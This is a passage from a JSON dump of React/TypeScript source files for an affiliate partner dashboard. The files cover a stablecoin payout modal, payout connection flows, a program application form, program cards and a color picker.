rgba(0, 0, 0, 0.01), 0px 64px 39px rgba(0, 0, 0, 0.05), 0px 29px 29px rgba(0, 0, 0, 0.09), 0px 7px 16px rgba(0, 0, 0, 0.1), inset 0px -4px 2px #FFFFFF\",\n            }}\n          >\n            {/* Middle ellipse */}\n            <div\n              className=\"flex size-[82px] shrink-0 items-center justify-center rounded-full\"\n              style={{\n                background: \"linear-gradient(180deg, #F0F0F0 0%, #F0F0F0 100%)\",\n                boxShadow: \"0px 4px 4px rgba(0, 0, 0, 0.01)\",\n              }}\n            >\n              {/* Inner circle (stablecoin icon container) */}\n              <div\n                className=\"flex size-[70px] shrink-0 items-center justify-center rounded-full\"\n                style={{\n                  background: \"#155DFC\",\n                  boxShadow:\n                    \"0px 2px 2px rgba(0, 0, 0, 0.08), inset 0px 4px 6px rgba(255, 255, 255, 0.25), inset 0px -3px 10px rgba(0, 0, 0, 0.25)\",\n                }}\n              >\n                <CircleDollar3\n                  className=\"size-14 text-white\"\n                  strokeWidth={2.5}\n                  aria-hidden\n                />\n              </div>\n            </div>\n          </div>\n        </div>\n\n        <div className=\"flex flex-col gap-2 p-8\">\n          <div className=\"flex items-center gap-2\">\n            <Badge\n              variant=\"green\"\n              className=\"rounded-md font-semibold text-green-700\"\n            >\n              NEW\n            </Badge>\n          </div>\n\n          <h3 className=\"text-lg font-semibold text-neutral-900\">\n            Stablecoin payouts\n          </h3>\n\n          <MarkdownDescription className=\"text-sm leading-5 text-neutral-600\">\n            With [stablecoin\n            payouts](https://dub.co/help/article/receiving-payouts#connecting-a-stablecoin-wallet),\n            you can get paid USDC anywhere in the world in minutes – instead of\n            waiting up to 15 business days with your bank account.\n          </MarkdownDescription>\n\n          <div className=\"mt-4 flex flex-col gap-2.5 rounded-lg border border-amber-200 bg-amber-50 p-3\">\n            <TriangleWarning className=\"size-3.5 text-amber-500\" />\n            <p className=\"text-sm leading-5 text-amber-900\">\n              Make sure to triple-check that you’ve entered the{\" \"}\n              <strong className=\"underline underline-offset-2\">\n                correct stablecoin wallet address and network\n              </strong>{\" \"}\n              when connecting your wallet.\n              <br />\n              <br />\n              Since stablecoin payouts are irreversible, incorrect details may\n              result in payout failures and lost funds.\n            </p>\n          </div>\n\n          <div className=\"mt-4\">\n            <label className=\"mb-4 flex cursor-pointer gap-3 rounded-lg border border-neutral-300 p-3\">\n              <div className=\"flex h-5 items-center\">\n                <input\n                  type=\"checkbox\"\n                  checked={acknowledged}\n                  onChange={(e) => setAcknowledged(e.target.checked)}\n                  className=\"h-4 w-4 rounded border-neutral-300 text-neutral-900 focus:ring-neutral-900\"\n                />\n              </div>\n              <span className=\"text-sm leading-5 text-neutral-900\">\n                I acknowledge that I will triple-check my stablecoin wallet\n                address and network, and any payout failures due to incorrect\n                details will be my sole responsibility.\n              </span>\n            </label>\n\n            <Button\n              text=\"Connect stablecoin wallet\"\n              variant=\"primary\"\n              className=\"w-full rounded-lg\"\n              loading={isLoading}\n              disabled={!acknowledged}\n              disabledTooltip={\n                !acknowledged\n                  ? \"You must acknowledge the requirements before continuing.\"\n                  : undefined\n              }\n              onClick={async () => {\n                setIsLoading(true);\n                try {\n                  await onContinue();\n                } finally {\n                  setIsLoading(false);\n                }\n              }}\n            />\n          </div>\n        </div>\n      </div>\n    </Modal>\n  );\n}\n\nexport function useStablecoinPayoutModal({\n  onContinue,\n}: {\n  onContinue: () => Promise<void>;\n}) {\n  const [showModal, setShowModal] = useState(false);\n\n  const StablecoinPayoutModalElement = useMemo(\n    () => (\n      <StablecoinPayoutModal\n        showModal={showModal}\n        setShowModal={setShowModal}\n        onContinue={onContinue}\n      />\n    ),\n    [showModal, onContinue],\n  );\n\n  return useMemo(\n    () => ({\n      setShowStablecoinPayoutModal: setShowModal,\n      StablecoinPayoutModal: StablecoinPayoutModalElement,\n    }),\n    [StablecoinPayoutModalElement],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/payouts/use-payout-connect-flow.tsx",
    "content": "\"use client\";\n\nimport { generatePaypalOAuthUrl } from \"@/lib/actions/partners/generate-paypal-oauth-url\";\nimport { generateStripeAccountLink } from \"@/lib/actions/partners/generate-stripe-account-link\";\nimport { generateStripeRecipientAccountLink } from \"@/lib/actions/partners/generate-stripe-recipient-account-link\";\nimport { useBankAccountRequirementsModal } from \"@/ui/partners/payouts/bank-account-requirements-modal\";\nimport { useStablecoinPayoutModal } from \"@/ui/partners/payouts/stablecoin-payout-modal\";\nimport { PartnerPayoutMethod } from \"@dub/prisma/client\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { useRouter } from \"next/navigation\";\nimport { useCallback, useMemo } from \"react\";\nimport { toast } from \"sonner\";\n\nexport function usePayoutConnectFlow(options?: { closeParent?: () => void }) {\n  const router = useRouter();\n  const closeParent = options?.closeParent;\n\n  const {\n    executeAsync: executeStripeConnect,\n    isPending: isStripeConnectPending,\n  } = useAction(generateStripeAccountLink, {\n    onSuccess: ({ data }) => {\n      router.push(data.url);\n    },\n    onError: ({ error }) => {\n      toast.error(error.serverError);\n    },\n  });\n\n  const {\n    executeAsync: executeStablecoinConnect,\n    isPending: isStablecoinConnectPending,\n  } = useAction(generateStripeRecipientAccountLink, {\n    onSuccess: ({ data }) => {\n      router.push(data.url);\n    },\n    onError: ({ error }) => {\n      toast.error(error.serverError);\n    },\n  });\n\n  const {\n    executeAsync: executePaypalConnect,\n    isPending: isPaypalConnectPending,\n  } = useAction(generatePaypalOAuthUrl, {\n    onSuccess: ({ data }) => {\n      router.push(data.url);\n    },\n    onError: ({ error }) => {\n      toast.error(error.serverError);\n    },\n  });\n\n  const {\n    setShowBankAccountRequirementsModal,\n    BankAccountRequirementsModal: BankAccountRequirementsModalElement,\n  } = useBankAccountRequirementsModal({\n    onContinue: async () => {\n      await executeStripeConnect();\n    },\n  });\n\n  const {\n    setShowStablecoinPayoutModal,\n    StablecoinPayoutModal: StablecoinPayoutModalElement,\n  } = useStablecoinPayoutModal({\n    onContinue: async () => {\n      await executeStablecoinConnect();\n    },\n  });\n\n  const connect = useCallback(\n    async (\n      type: PartnerPayoutMethod,\n      connectOptions?: { isManage?: boolean },\n    ) => {\n      const isManage = connectOptions?.isManage ?? false;\n\n      if (type === \"connect\") {\n        if (isManage) {\n          await executeStripeConnect();\n        } else {\n          closeParent?.();\n          setShowBankAccountRequirementsModal(true);\n        }\n        return;\n      }\n\n      if (type === \"stablecoin\") {\n        if (isManage) {\n          await executeStablecoinConnect();\n        } else {\n          closeParent?.();\n          setShowStablecoinPayoutModal(true);\n        }\n        return;\n      }\n\n      if (type === \"paypal\") {\n        closeParent?.();\n        await executePaypalConnect();\n      }\n    },\n    [\n      closeParent,\n      setShowBankAccountRequirementsModal,\n      setShowStablecoinPayoutModal,\n      executeStripeConnect,\n      executeStablecoinConnect,\n      executePaypalConnect,\n    ],\n  );\n\n  const isPending = useMemo(\n    () =>\n      isStripeConnectPending ||\n      isStablecoinConnectPending ||\n      isPaypalConnectPending,\n    [\n      isStripeConnectPending,\n      isStablecoinConnectPending,\n      isPaypalConnectPending,\n    ],\n  );\n\n  return {\n    connect,\n    isPending,\n    BankAccountRequirementsModal: BankAccountRequirementsModalElement,\n    StablecoinPayoutModal: StablecoinPayoutModalElement,\n  };\n}\n"
  },
  {
    "path": "apps/web/ui/partners/payouts/use-stablecoin-payout-promo.tsx",
    "content": "import { useSyncedLocalStorage } from \"@/lib/hooks/use-synced-local-storage\";\n\nconst stablecoinPayoutPromoStatuses = [\"banner\", \"card\"] as const;\ntype StablecoinPayoutPromoStatus =\n  (typeof stablecoinPayoutPromoStatuses)[number];\n\nexport function useStablecoinPayoutPromo(): {\n  status: StablecoinPayoutPromoStatus;\n  setStatus: (status: StablecoinPayoutPromoStatus) => void;\n} {\n  const [stablecoinPayoutPromoStatus, setStablecoinPayoutPromoStatus] =\n    useSyncedLocalStorage<string>(\"stablecoin-payout-promo-status\", \"banner\");\n\n  return {\n    status:\n      stablecoinPayoutPromoStatuses.find(\n        (status) => status === stablecoinPayoutPromoStatus,\n      ) ?? \"banner\",\n    setStatus: setStablecoinPayoutPromoStatus,\n  };\n}\n"
  },
  {
    "path": "apps/web/ui/partners/program-application-sheet.tsx",
    "content": "\"use client\";\n\nimport { parseActionError } from \"@/lib/actions/parse-action-errors\";\nimport { createProgramApplicationAction } from \"@/lib/actions/partners/create-program-application\";\nimport usePartnerProfile from \"@/lib/swr/use-partner-profile\";\nimport { ProgramEnrollmentProps, ProgramProps } from \"@/lib/types\";\nimport {\n  DEFAULT_PARTNER_GROUP,\n  PartnerProgramGroupSchema,\n} from \"@/lib/zod/schemas/groups\";\nimport { createProgramApplicationSchema } from \"@/lib/zod/schemas/programs\";\nimport { X } from \"@/ui/shared/icons\";\nimport {\n  ArrowTurnRight2,\n  Button,\n  buttonVariants,\n  CircleCheck,\n  CircleCheckFill,\n  Grid,\n  LoadingSpinner,\n  Sheet,\n} from \"@dub/ui\";\nimport { cn, fetcher, OG_AVATAR_URL } from \"@dub/utils\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport Link from \"next/link\";\nimport { Dispatch, SetStateAction, useState } from \"react\";\nimport { FormProvider, useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport useSWR, { mutate } from \"swr\";\nimport * as z from \"zod/v4\";\nimport { ProgramApplicationFormField } from \"./groups/design/application-form/fields\";\nimport { formDataForApplicationFormData } from \"./groups/design/application-form/form-data-for-application-form-data\";\nimport { PartnerAvatar } from \"./partner-avatar\";\n\ninterface ProgramApplicationSheetProps {\n  setIsOpen: Dispatch<SetStateAction<boolean>>;\n  program: Pick<\n    ProgramProps,\n    \"id\" | \"slug\" | \"defaultGroupId\" | \"name\" | \"domain\" | \"logo\" | \"termsUrl\"\n  >;\n  programEnrollment?: ProgramEnrollmentProps;\n  backDestination?: \"programs\" | \"marketplace\";\n  onSuccess?: () => void;\n}\n\ntype FormData = Omit<\n  z.infer<typeof createProgramApplicationSchema>,\n  \"name\" | \"email\" | \"website\"\n> & {\n  termsAgreement: boolean;\n};\n\nfunction ProgramApplicationSheetContent({\n  program,\n  programEnrollment,\n  ...rest\n}: ProgramApplicationSheetProps) {\n  const groupIdOrSlug =\n    programEnrollment?.groupId ||\n    program?.defaultGroupId ||\n    DEFAULT_PARTNER_GROUP.slug;\n\n  const {\n    data: group,\n    isLoading: isGroupLoading,\n    error: groupError,\n  } = useSWR<z.infer<typeof PartnerProgramGroupSchema>>(\n    groupIdOrSlug\n      ? `/api/partner-profile/programs/${program.id}/groups/${groupIdOrSlug}`\n      : null,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  return group ? (\n    <ProgramApplicationSheetForm\n      program={program}\n      programEnrollment={programEnrollment}\n      group={group}\n      {...rest}\n    />\n  ) : (\n    <div className=\"flex h-full items-center justify-center\">\n      {groupError ? (\n        <p className=\"text-content-subtle text-sm\">\n          Failed to load application form\n        </p>\n      ) : (\n        <LoadingSpinner />\n      )}\n    </div>\n  );\n}\n\nfunction ProgramApplicationSheetForm({\n  program,\n  backDestination = \"programs\",\n  onSuccess,\n  group,\n}: ProgramApplicationSheetProps & {\n  group: z.infer<typeof PartnerProgramGroupSchema>;\n}) {\n  const { partner } = usePartnerProfile();\n\n  const form = useForm<FormData>({\n    defaultValues: {\n      termsAgreement: false,\n      formData: formDataForApplicationFormData(\n        group?.applicationFormData?.fields ?? [],\n      ),\n    },\n  });\n\n  const {\n    register,\n    handleSubmit,\n    setError,\n    formState: { errors, isSubmitting, isSubmitSuccessful },\n  } = form;\n\n  const { executeAsync } = useAction(createProgramApplicationAction, {\n    onSuccess: () => {\n      mutate(`/api/partner-profile/programs/${program!.slug}`);\n      onSuccess?.();\n    },\n  });\n\n  const onSubmit = async (data: FormData) => {\n    if (!group || !program || !partner?.email || !partner.country) return;\n\n    const result = await executeAsync({\n      ...data,\n      email: partner.email,\n      name: partner.name,\n      country: partner.country,\n      programId: program.id,\n      groupId: group.id,\n      inAppApplication: true,\n    });\n\n    if (result?.serverError || result?.validationErrors) {\n      setError(\"root.serverError\", {\n        message: \"Failed to submit application\",\n      });\n      toast.error(parseActionError(result, \"Failed to submit application\"));\n    }\n  };\n\n  const fields = group?.applicationFormData?.fields || [];\n\n  return (\n    <FormProvider {...form}>\n      <form\n        onSubmit={handleSubmit(onSubmit)}\n        className={cn(\n          \"flex h-full flex-col transition-opacity duration-200\",\n          isSubmitSuccessful && \"pointer-events-none opacity-0\",\n        )}\n        {...{\n          inert: isSubmitSuccessful,\n        }}\n      >\n        <div className=\"sticky top-0 z-10 border-b border-neutral-200 bg-neutral-50\">\n          <div className=\"flex items-start justify-between p-6\">\n            <Sheet.Title asChild className=\"min-w-0\">\n              <div>\n                <div className=\"flex items-center gap-3\">\n                  <img\n                    src={program.logo || `${OG_AVATAR_URL}${program.name}`}\n                    alt={program.name}\n                    className=\"size-10 rounded-full border border-black/10\"\n                  />\n                  <div className=\"min-w-0\">\n                    <span className=\"block truncate text-base font-semibold leading-tight text-neutral-900\">\n                      {program.name}\n                    </span>\n\n                    <div className=\"flex items-center gap-1 text-neutral-500\">\n                      <ArrowTurnRight2 className=\"size-3.5 shrink-0\" />\n                      <a\n                        href={`https://${program.domain}`}\n                        target=\"_blank\"\n                        rel=\"noopener noreferrer\"\n                        className=\"min-w-0 cursor-alias truncate text-sm font-medium underline decoration-dotted underline-offset-2 hover:text-neutral-700\"\n                      >\n                        {program.domain}\n                      </a>\n                    </div>\n                  </div>\n                </div>\n              </div>\n            </Sheet.Title>\n            <Sheet.Close asChild>\n              <Button\n                variant=\"outline\"\n                icon={<X className=\"size-5\" />}\n                className=\"h-auto w-fit p-1\"\n              />\n            </Sheet.Close>\n          </div>\n        </div>\n\n        <div className=\"min-h-0 flex-1 overflow-y-auto\">\n          <div className=\"flex flex-col gap-6 p-5 sm:p-8\">\n            {fields?.length ? (\n              fields.map((field, index) => {\n                return (\n                  <ProgramApplicationFormField\n                    key={field.id}\n                    field={field}\n                    keyPath={`formData.fields.${index}`}\n                  />\n                );\n              })\n            ) : (\n              <p className=\"text-content-subtle flex items-center gap-1 text-sm\">\n                <CircleCheck className=\"inline-block size-4 text-green-500\" />\n                No additional information required to apply\n              </p>\n            )}\n\n            {program.termsUrl && (\n              <div className=\"flex items-center gap-2\">\n                <input\n                  type=\"checkbox\"\n                  id=\"termsAgreement\"\n                  className={cn(\n                    \"h-4 w-4 rounded border-neutral-300 text-[var(--brand)] focus:ring-[var(--brand)]\",\n                    errors.termsAgreement &&\n                      \"border-red-400 focus:ring-red-500\",\n                  )}\n                  {...register(\"termsAgreement\", {\n                    required: true,\n                    validate: (v) => v === true,\n                  })}\n                />\n                <label\n                  htmlFor=\"termsAgreement\"\n                  className=\"text-sm text-neutral-800\"\n                >\n                  I agree to the{\" \"}\n                  <a\n                    href={program.termsUrl}\n                    target=\"_blank\"\n                    rel=\"noopener noreferrer\"\n                    className=\"text-[var(--brand)] underline hover:opacity-80\"\n                  >\n                    {program.name} Program Terms ↗\n                  </a>\n                </label>\n              </div>\n            )}\n          </div>\n        </div>\n\n        <div className=\"sticky bottom-0 z-10 border-t border-neutral-200 bg-white p-5\">\n          <Button\n            type=\"submit\"\n            variant=\"primary\"\n            text=\"Submit application\"\n            loading={isSubmitting}\n          />\n        </div>\n      </form>\n      <div\n        className={cn(\n          \"absolute inset-0 flex items-center justify-center transition-[transform,opacity]\",\n          isSubmitSuccessful\n            ? \"translate-y-0 opacity-100\"\n            : \"pointer-events-none translate-y-4 opacity-0\",\n        )}\n        inert={!isSubmitSuccessful}\n      >\n        <Grid\n          cellSize={60}\n          className=\"[mask-image:linear-gradient(black,transparent)]\"\n        />\n        <div className=\"relative flex flex-col items-center\">\n          <div className=\"relative z-0 flex items-center\">\n            <img\n              src={program.logo || `${OG_AVATAR_URL}${program.name}`}\n              alt={program.name}\n              className=\"z-10 size-20 rotate-[-15deg] rounded-full drop-shadow-md\"\n            />\n            <PartnerAvatar\n              partner={{\n                id: partner?.id,\n                name: partner?.name,\n                image: partner?.image,\n              }}\n              className=\"-ml-4 size-20 rotate-[15deg] drop-shadow-md\"\n            />\n            <div className=\"absolute -bottom-2 left-1/2 z-10 -translate-x-1/2 rounded-full bg-white p-0.5\">\n              <CircleCheckFill className=\"size-8 text-green-500\" />\n            </div>\n          </div>\n          <span className=\"mt-6 block text-base font-semibold text-neutral-900\">\n            Application submitted\n          </span>\n          <p className=\"mt-2 max-w-[300px] text-pretty text-center text-sm text-neutral-500\">\n            You're all set! Your application is pending review and we'll email\n            you once approved.\n          </p>\n          <Link\n            href={\n              backDestination === \"marketplace\"\n                ? \"/programs/marketplace\"\n                : \"/programs\"\n            }\n            className={cn(\n              buttonVariants({ variant: \"primary\" }),\n              \"mt-8 flex h-9 w-fit cursor-pointer items-center rounded-lg border px-4 text-sm\",\n            )}\n          >\n            Back to {backDestination}\n          </Link>\n        </div>\n      </div>\n    </FormProvider>\n  );\n}\n\nexport function ProgramApplicationSheet({\n  isOpen,\n  nested,\n  ...rest\n}: ProgramApplicationSheetProps & {\n  isOpen: boolean;\n  nested?: boolean;\n}) {\n  return (\n    <Sheet open={isOpen} onOpenChange={rest.setIsOpen} nested={nested}>\n      <ProgramApplicationSheetContent {...rest} />\n    </Sheet>\n  );\n}\n\nexport function useProgramApplicationSheet(\n  props: Omit<ProgramApplicationSheetProps, \"setIsOpen\">,\n) {\n  const [isOpen, setIsOpen] = useState(false);\n\n  return {\n    programApplicationSheet: (\n      <ProgramApplicationSheet\n        setIsOpen={setIsOpen}\n        isOpen={isOpen}\n        {...props}\n      />\n    ),\n    setIsOpen,\n  };\n}\n"
  },
  {
    "path": "apps/web/ui/partners/program-card.tsx",
    "content": "import { constructPartnerLink } from \"@/lib/partners/construct-partner-link\";\nimport { usePartnerEarningsTimeseries } from \"@/lib/swr/use-partner-earnings-timeseries\";\nimport { ProgramEnrollmentProps } from \"@/lib/types\";\nimport { BlurImage, Link4, MiniAreaChart } from \"@dub/ui\";\nimport { formatDate, getPrettyUrl, OG_AVATAR_URL } from \"@dub/utils\";\nimport NumberFlow from \"@number-flow/react\";\nimport Link from \"next/link\";\nimport { useRouter } from \"next/navigation\";\nimport { useMemo } from \"react\";\n\nexport function ProgramCard({\n  programEnrollment,\n}: {\n  programEnrollment: ProgramEnrollmentProps;\n}) {\n  const router = useRouter();\n  const { program, status, createdAt, group } = programEnrollment;\n\n  const defaultLink = programEnrollment.links?.[0];\n\n  const statusDescriptions = {\n    banned: \"You're banned from this program.\",\n    rejected: \"Your application has been rejected.\",\n    deactivated: \"Your partnership has been deactivated.\",\n  };\n  const statusDescription = statusDescriptions[status];\n\n  return (\n    <Link\n      href={`/programs/${program.slug}`}\n      className=\"hover:drop-shadow-card-hover flex h-full flex-col justify-between rounded-xl border border-neutral-200 bg-white p-5 transition-[filter]\"\n    >\n      <div>\n        <BlurImage\n          width={96}\n          height={96}\n          src={program.logo || `${OG_AVATAR_URL}${program.name}`}\n          alt={program.name}\n          className=\"size-8 rounded-full border border-black/10\"\n        />\n        <div className=\"mt-3 flex flex-col\">\n          <span className=\"text-base font-semibold text-neutral-800\">\n            {program.name}\n          </span>\n          <div className=\"flex items-center gap-1 text-neutral-500\">\n            <Link4 className=\"size-3 shrink-0\" />\n            <span className=\"min-w-0 truncate text-sm font-medium\">\n              {getPrettyUrl(\n                constructPartnerLink({\n                  group,\n                  link: defaultLink,\n                }),\n              ) || program.domain}\n            </span>\n          </div>\n        </div>\n      </div>\n      {status === \"approved\" ? (\n        <ProgramCardEarnings programEnrollment={programEnrollment} />\n      ) : (\n        <div className=\"mt-4 flex h-20 items-center justify-center text-balance rounded-md border border-neutral-200 bg-neutral-50 p-5 text-center text-sm text-neutral-500\">\n          {status === \"pending\" ? (\n            `Applied ${formatDate(createdAt)}`\n          ) : status === \"rejected\" ? (\n            `${statusDescription} You can re-apply in 30 days.`\n          ) : statusDescription ? (\n            <p>\n              {statusDescription}{\" \"}\n              <button\n                onClick={(e) => {\n                  e.preventDefault();\n                  e.stopPropagation();\n                  router.push(`/messages/${program.slug}`);\n                }}\n                className=\"text-neutral-400 underline decoration-dotted underline-offset-2 hover:text-neutral-700\"\n              >\n                Reach out to the {program.name} team\n              </button>{\" \"}\n              if you have any questions.\n            </p>\n          ) : null}\n        </div>\n      )}\n    </Link>\n  );\n}\n\nfunction ProgramCardEarnings({\n  programEnrollment,\n}: {\n  programEnrollment: ProgramEnrollmentProps;\n}) {\n  const { program, totalCommissions } = programEnrollment;\n\n  const { data: timeseries } = usePartnerEarningsTimeseries({\n    programId: program.id,\n    interval: \"1y\",\n    enabled: totalCommissions > 0,\n  } as Parameters<typeof usePartnerEarningsTimeseries>[0]);\n\n  const chartData = useMemo(() => {\n    if (totalCommissions === 0) {\n      // Generate dummy data (straight line at 0) for the past year\n      const now = new Date();\n      const oneYearAgo = new Date(now);\n      oneYearAgo.setFullYear(now.getFullYear() - 1);\n\n      // Generate 12 data points (monthly)\n      const dummyData: { date: Date; value: number }[] = [];\n      for (let i = 0; i < 12; i++) {\n        const date = new Date(oneYearAgo);\n        date.setMonth(oneYearAgo.getMonth() + i);\n        dummyData.push({\n          date,\n          value: 0,\n        });\n      }\n      return dummyData;\n    }\n\n    return (\n      timeseries?.map((d) => ({\n        date: new Date(d.start),\n        value: d.earnings,\n      })) ?? []\n    );\n  }, [timeseries, totalCommissions]);\n\n  return (\n    <div className=\"mt-4 grid grid-cols-[min-content,minmax(0,1fr)] gap-4 rounded-md border border-neutral-200 bg-neutral-50\">\n      <div className=\"py-3 pl-4\">\n        <div className=\"whitespace-nowrap text-sm text-neutral-500\">\n          Earnings\n        </div>\n        <NumberFlow\n          className=\"text-xl font-medium text-neutral-800\"\n          value={totalCommissions / 100}\n          format={{\n            notation: totalCommissions > 100000 ? \"compact\" : \"standard\",\n            style: \"currency\",\n            currency: \"USD\",\n            // @ts-ignore – trailingZeroDisplay is a valid option but TS is outdated\n            trailingZeroDisplay: \"stripIfInteger\",\n          }}\n        />\n      </div>\n      {chartData && (\n        <div className=\"relative h-full px-3\">\n          <MiniAreaChart data={chartData} padding={{ top: 16, bottom: 16 }} />\n        </div>\n      )}\n    </div>\n  );\n}\n\nexport function ProgramCardSkeleton() {\n  return (\n    <div className=\"rounded-xl border border-neutral-200 p-5\">\n      <div className=\"size-8 rounded-full bg-neutral-200\" />\n      <div className=\"mt-3 flex flex-col\">\n        <div className=\"my-0.5 h-5 w-24 min-w-0 rounded-md bg-neutral-200\" />\n        <div className=\"my-0.5 h-4 w-20 animate-pulse rounded-md bg-neutral-200\" />\n      </div>\n      <div className=\"mt-4 h-[72px] animate-pulse rounded-md bg-neutral-100\" />\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/program-category-select.tsx",
    "content": "import { MAX_PROGRAM_CATEGORIES } from \"@/lib/constants/program\";\nimport {\n  PROGRAM_CATEGORIES,\n  PROGRAM_CATEGORIES_MAP,\n} from \"@/lib/network/program-categories\";\nimport { Category } from \"@dub/prisma/client\";\nimport { Combobox, ComboboxProps } from \"@dub/ui\";\n\nexport function ProgramCategorySelect({\n  selected,\n  onChange,\n  ...rest\n}: {\n  selected: Category[];\n  onChange: (categories: Category[]) => void;\n} & Omit<ComboboxProps<false, any>, \"selected\" | \"options\" | \"onSelect\">) {\n  return (\n    <Combobox\n      multiple\n      maxSelected={MAX_PROGRAM_CATEGORIES}\n      options={PROGRAM_CATEGORIES.map(({ id, label, icon }) => ({\n        value: id,\n        label,\n        icon,\n      }))}\n      selected={selected.map((category) => {\n        const { label, icon } = PROGRAM_CATEGORIES_MAP[category] ?? {\n          label: category.replaceAll(\"_\", \" \"),\n          icon: undefined,\n        };\n\n        return {\n          value: category,\n          label,\n          icon,\n        };\n      })}\n      setSelected={(options) =>\n        onChange(options.map(({ value }) => value as Category))\n      }\n      caret\n      matchTriggerWidth\n      {...rest}\n    />\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/program-color-picker.tsx",
    "content": "\"use client\";\n\nimport { RAINBOW_CONIC_GRADIENT } from \"@/ui/colors\";\nimport { Popover, Tooltip } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { CSSProperties, useState } from \"react\";\nimport { HexColorInput } from \"react-colorful\";\n\nconst COLORS = [\n  { color: \"#737373\", name: \"Gray\" },\n  { color: \"#FB2C36\", name: \"Red\" },\n  { color: \"#FF6900\", name: \"Orange\" },\n  { color: \"#FD9A00\", name: \"Amber\" },\n  { color: \"#EFB100\", name: \"Yellow\" },\n  { color: \"#7CCF00\", name: \"Lime\" },\n  { color: \"#00C951\", name: \"Green\" },\n  { color: \"#00BC7D\", name: \"Emerald\" },\n  { color: \"#00BBA7\", name: \"Teal\" },\n  { color: \"#00B8DB\", name: \"Cyan\" },\n  { color: \"#00A6F4\", name: \"Sky\" },\n  { color: \"#2B7FFF\", name: \"Blue\" },\n  { color: \"#615FFF\", name: \"Indigo\" },\n  { color: \"#8E51FF\", name: \"Violet\" },\n  { color: \"#AD46FF\", name: \"Purple\" },\n  { color: \"#E12AFB\", name: \"Fuchsia\" },\n  { color: \"#F6339A\", name: \"Pink\" },\n  { color: \"#FF2056\", name: \"Rose\" },\n];\n\nexport function ProgramColorPicker({\n  color,\n  onChange,\n  id,\n}: {\n  color: string | null;\n  onChange: (color: string | null) => void;\n  id?: string;\n}) {\n  const [isOpen, setIsOpen] = useState(false);\n\n  const onSelect = (color: string | null) => {\n    onChange(color);\n    setIsOpen(false);\n  };\n\n  return (\n    <Popover\n      openPopover={isOpen}\n      setOpenPopover={setIsOpen}\n      popoverContentClassName=\"-mt-4\"\n      content={\n        <div className=\"grid grid-cols-6 gap-3 p-4\">\n          <div className=\"sr-only\" tabIndex={0}>\n            Select a color\n          </div>\n          <div className=\"col-span-6 flex items-center justify-between gap-4\">\n            <Swatch\n              color={null}\n              name=\"Rainbow\"\n              onSelect={() => onSelect(null)}\n            />\n            <div className=\"relative shrink\">\n              <div\n                className=\"absolute left-2 top-1/2 size-4 -translate-y-1/2 overflow-hidden rounded-full transition-colors\"\n                style={{\n                  backgroundColor: color ?? undefined,\n                }}\n              >\n                {!color && <Rainbow />}\n              </div>\n              <HexColorInput\n                name=\"color\"\n                color={color ?? undefined}\n                onChange={(color) => onChange(color)}\n                prefixed={!!color}\n                placeholder=\"# Default\"\n                style={{}}\n                size={1}\n                className=\"block min-w-32 shrink rounded-md border border-neutral-300 py-1.5 pl-[30px] text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n              />\n            </div>\n          </div>\n          {COLORS.map(({ color, name }) => (\n            <Swatch\n              key={color}\n              color={color}\n              name={name}\n              onSelect={() => onSelect(color)}\n            />\n          ))}\n        </div>\n      }\n      side=\"right\"\n      align=\"end\"\n    >\n      <button\n        id={id}\n        type=\"button\"\n        className={cn(\n          \"relative size-7 overflow-hidden rounded-full outline-none ring-black/10 transition-all duration-75\",\n          \"hover:ring focus:ring data-[state=open]:ring data-[state=open]:ring-black/20\",\n          \"focus-visible:ring-1 focus-visible:ring-black/40 focus-visible:ring-offset-2\",\n        )}\n        style={{\n          backgroundColor: color ?? undefined,\n        }}\n      >\n        {!color && <Rainbow />}\n      </button>\n    </Popover>\n  );\n}\n\nfunction Swatch({\n  color,\n  name,\n  onSelect,\n}: {\n  color: string | null;\n  name: string;\n  onSelect: () => void;\n}) {\n  return (\n    <Tooltip content={name} delayDuration={1000} disableHoverableContent>\n      <div className=\"w-fit rounded-full\">\n        <button\n          type=\"button\"\n          onClick={onSelect}\n          className={cn(\n            \"relative block size-6 overflow-hidden rounded-full ring-transparent ring-offset-2 transition-all duration-75\",\n            \"hover:ring-1 hover:ring-[var(--ring-color)]\",\n            \"outline-none focus-visible:ring-1 focus-visible:ring-[var(--ring-color)]\",\n          )}\n          style={\n            {\n              backgroundColor: color ?? undefined,\n              \"--ring-color\": color ?? \"#404040\",\n            } as CSSProperties\n          }\n        >\n          {!color && <Rainbow />}\n        </button>\n      </div>\n    </Tooltip>\n  );\n}\n\nconst Rainbow = () => (\n  <div\n    className=\"absolute -inset-[50%] rounded-full blur-[2px]\"\n    style={{\n      backgroundImage: RAINBOW_CONIC_GRADIENT,\n    }}\n  />\n);\n"
  },
  {
    "path": "apps/web/ui/partners/program-eligibility-card.tsx",
    "content": "\"use client\";\n\nimport { evaluateCondition } from \"@/lib/partners/evaluate-application-requirements\";\nimport usePartnerProfile from \"@/lib/swr/use-partner-profile\";\nimport useProgramEnrollment from \"@/lib/swr/use-program-enrollment\";\nimport { EligibilityConditionDB } from \"@/lib/types\";\nimport { Lock } from \"@dub/ui/icons\";\nimport { COUNTRIES } from \"@dub/utils\";\n\nfunction oxfordJoin(items: string[]): string {\n  if (items.length === 0) return \"\";\n  if (items.length === 1) return items[0];\n  if (items.length === 2) return `${items[0]} or ${items[1]}`;\n  return `${items.slice(0, -1).join(\", \")}, or ${items[items.length - 1]}`;\n}\n\nfunction formatConditionText(condition: EligibilityConditionDB): string {\n  if (condition.key === \"country\") {\n    const countryNames = condition.value.map((code) => COUNTRIES[code] ?? code);\n    const joined = oxfordJoin(countryNames);\n\n    if (condition.operator === \"is\") {\n      return `Your country is ${joined}`;\n    } else {\n      return `Your country is not ${joined}`;\n    }\n  }\n\n  // emailDomain — commented out, preserved for future use\n  // if (condition.key === \"emailDomain\") {\n  //   const joined = oxfordJoin(condition.value);\n  //   if (condition.operator === \"is\") {\n  //     return `Your email domain is ${joined}`;\n  //   } else {\n  //     return `Your email domain is not ${joined}`;\n  //   }\n  // }\n\n  return \"\";\n}\n\nexport function ProgramEligibilityCard({\n  requirements: requirementsProp,\n}: {\n  